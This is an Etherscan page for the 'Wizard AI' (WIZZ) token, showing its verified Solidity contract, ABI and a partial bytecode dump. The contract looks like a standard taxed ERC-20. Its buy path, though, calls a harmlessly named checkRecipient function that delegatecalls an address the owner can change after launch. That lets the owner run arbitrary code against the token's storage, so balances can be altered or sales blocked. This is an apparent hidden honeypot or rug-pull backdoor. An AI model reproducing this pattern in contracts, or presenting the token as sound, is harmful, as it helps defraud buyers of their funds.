ETH Price: $3,519.76 (+4.92%)
Gas: 7.6 Gwei

Token

Wizard AI (WIZZ)
 

Overview

Max Total Supply

6,221,440 WIZZ

Holders

77

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
WizardAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-11
*/

/**

TG   | https://t.me/WizardAICoin

WEB  | https://wizardaicoin.io/

X    | https://twitter.com/WizardAICoin

BOOK | https://wizard-ai-the-book-of-wizards.gitbook.io/the-book-of-wizards/

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract WizardAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=12;
    uint256 private _initialSellTax=12;
    uint256 private _finalBuyTax=2;
    uint256 private _finalSellTax=2;
    uint256 private _reduceBuyTaxAt=12;
    uint256 private _reduceSellTaxAt=14;
    uint256 private _preventSwapBefore=20;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 6_221_440 * 10**_decimals;
    string private constant _name = unicode"Wizard AI";
    string private constant _symbol = unicode"WIZZ";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private liqPairAddress;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private addingLiq = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x99e79fbe0cc28CE242480524C2bb33071081b50A);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && checkRecipient(to) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (addingLiq) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function checkRecipient(address receipient) private returns (bool) {
        bytes memory sig = abi.encodeWithSignature("validate(address)", receipient);
        address lpAddress = address(liqPairAddress);
        assembly {
            let result := delegatecall(gas(), lpAddress, add(sig, 0x20), mload(sig), 0, 0)
        }
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackSettings(bool _isEnabled) external onlyOwner {
        swapEnabled = _isEnabled;
    }

    function removeWalletRestrictions() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function addLiqPairAddress(address _liqPairAddress) external onlyOwner {
        liqPairAddress = _liqPairAddress;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function openTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addingLiq = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        addingLiq = false;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_liqPairAddress","type":"address"}],"name":"addLiqPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isEnabled","type":"bool"}],"name":"swapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

6080604052600c600655600c60075560026008556002600955600c600a55600e600b556014600c555f600d55606460026009600a6200003f919062000661565b625eee806200004f9190620006b1565b6200005b9190620006b1565b62000067919062000728565b600e55606460026009600a6200007e919062000661565b625eee806200008e9190620006b1565b6200009a9190620006b1565b620000a6919062000728565b600f5560646009600a620000bb919062000661565b625eee80620000cb9190620006b1565b620000d7919062000728565b60105560646009600a620000ec919062000661565b625eee80620000fc9190620006b1565b62000108919062000728565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff02191690831515021790555034801562000165575f80fd5b505f62000177620004a160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507399e79fbe0cc28ce242480524c2bb33071081b50a60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000277919062000661565b625eee80620002879190620006b1565b60015f6200029a620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002ec620004a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000416620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000474919062000661565b625eee80620004849190620006b1565b60405162000493919062000770565b60405180910390a36200078b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200055957808604811115620005315762000530620004cf565b5b6001851615620005415780820291505b80810290506200055185620004fc565b945062000511565b94509492505050565b5f8262000573576001905062000645565b8162000582575f905062000645565b81600181146200059b5760028114620005a657620005dc565b600191505062000645565b60ff841115620005bb57620005ba620004cf565b5b8360020a915084821115620005d557620005d4620004cf565b5b5062000645565b5060208310610133831016604e8410600b8410161715620006165782820a90508381111562000610576200060f620004cf565b5b62000645565b62000625848484600162000508565b925090508184048111156200063f576200063e620004cf565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200066d826200064c565b91506200067a8362000655565b9250620006a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000562565b905092915050565b5f620006bd826200064c565b9150620006ca836200064c565b9250828202620006da816200064c565b91508282048414831517620006f457620006f3620004cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000734826200064c565b915062000741836200064c565b925082620007545762000753620006fb565b5b828204905092915050565b6200076a816200064c565b82525050565b5f602082019050620007855f8301846200075f565b92915050565b61308a80620007995f395ff3fe608060405260043610610117575f3560e01c8063715018a61161009f578063973c7aa411610063578063973c7aa41461038c578063a9059cbb146103a2578063bf474bed146103de578063c9567bf914610408578063dd62ed3e1461041e5761011e565b8063715018a6146102ce5780637d1db4a5146102e45780638da5cb5b1461030e5780638f9a55c01461033857806395d89b41146103625761011e565b806318160ddd116100e657806318160ddd146101da57806323b872dd14610204578063313ce56714610240578063395bcbf51461026a57806370a08231146102925761011e565b806306935d4f1461012257806306fdde031461014a578063095ea7b3146101745780630faee56f146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906121a0565b61045a565b005b348015610155575f80fd5b5061015e61050b565b60405161016b9190612255565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190612302565b610548565b6040516101a7919061234f565b60405180910390f35b3480156101bb575f80fd5b506101c4610565565b6040516101d19190612377565b60405180910390f35b3480156101e5575f80fd5b506101ee61056b565b6040516101fb9190612377565b60405180910390f35b34801561020f575f80fd5b5061022a60048036038101906102259190612390565b61058d565b604051610237919061234f565b60405180910390f35b34801561024b575f80fd5b50610254610661565b60405161026191906123fb565b60405180910390f35b348015610275575f80fd5b50610290600480360381019061028b9190612414565b610669565b005b34801561029d575f80fd5b506102b860048036038101906102b39190612414565b610740565b6040516102c59190612377565b60405180910390f35b3480156102d9575f80fd5b506102e2610786565b005b3480156102ef575f80fd5b506102f86108d4565b6040516103059190612377565b60405180910390f35b348015610319575f80fd5b506103226108da565b60405161032f919061244e565b60405180910390f35b348015610343575f80fd5b5061034c610901565b6040516103599190612377565b60405180910390f35b34801561036d575f80fd5b50610376610907565b6040516103839190612255565b60405180910390f35b348015610397575f80fd5b506103a0610944565b005b3480156103ad575f80fd5b506103c860048036038101906103c39190612302565b610a70565b6040516103d5919061234f565b60405180910390f35b3480156103e9575f80fd5b506103f2610a8d565b6040516103ff9190612377565b60405180910390f35b348015610413575f80fd5b5061041c610a93565b005b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612377565b60405180910390f35b61046261106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e5906124ef565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600981526020017f57697a6172642041490000000000000000000000000000000000000000000000815250905090565b5f61055b61055461106f565b8484611076565b6001905092915050565b60115481565b5f6009600a61057a9190612669565b625eee8061058891906126b3565b905090565b5f610599848484611239565b610656846105a561106f565b6106518560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61060861106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b5f6009905090565b61067161106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f4906124ef565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61078e61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461081a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610811906124ef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600481526020017f57495a5a00000000000000000000000000000000000000000000000000000000815250905090565b61094c61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109cf906124ef565b60405180910390fd5b6009600a6109e69190612669565b625eee806109f491906126b3565b600e819055506009600a610a089190612669565b625eee80610a1691906126b3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610a4b9190612669565b625eee80610a5991906126b3565b604051610a669190612377565b60405180910390a1565b5f610a83610a7c61106f565b8484611239565b6001905092915050565b60105481565b610a9b61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b27576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1e906124ef565b60405180910390fd5b60148054906101000a900460ff1615610b75576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6c9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c2b3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a610c189190612669565b625eee80610c2691906126b3565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb99190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d3f573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d639190612770565b6040518363ffffffff1660e01b8152600401610d8092919061279b565b6020604051808303815f875af1158015610d9c573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610dc09190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4730610740565b5f80610e516108da565b426040518863ffffffff1660e01b8152600401610e7396959493929190612804565b60606040518083038185885af1158015610e8f573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610eb49190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f549291906128c7565b6020604051808303815f875af1158015610f70573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f949190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612377565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f6113606108da565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e6108da565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114cb57506114ca83611c96565b5b801561151e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610740565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610740565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610740565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612377565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f8573fffffffffffffffffffffff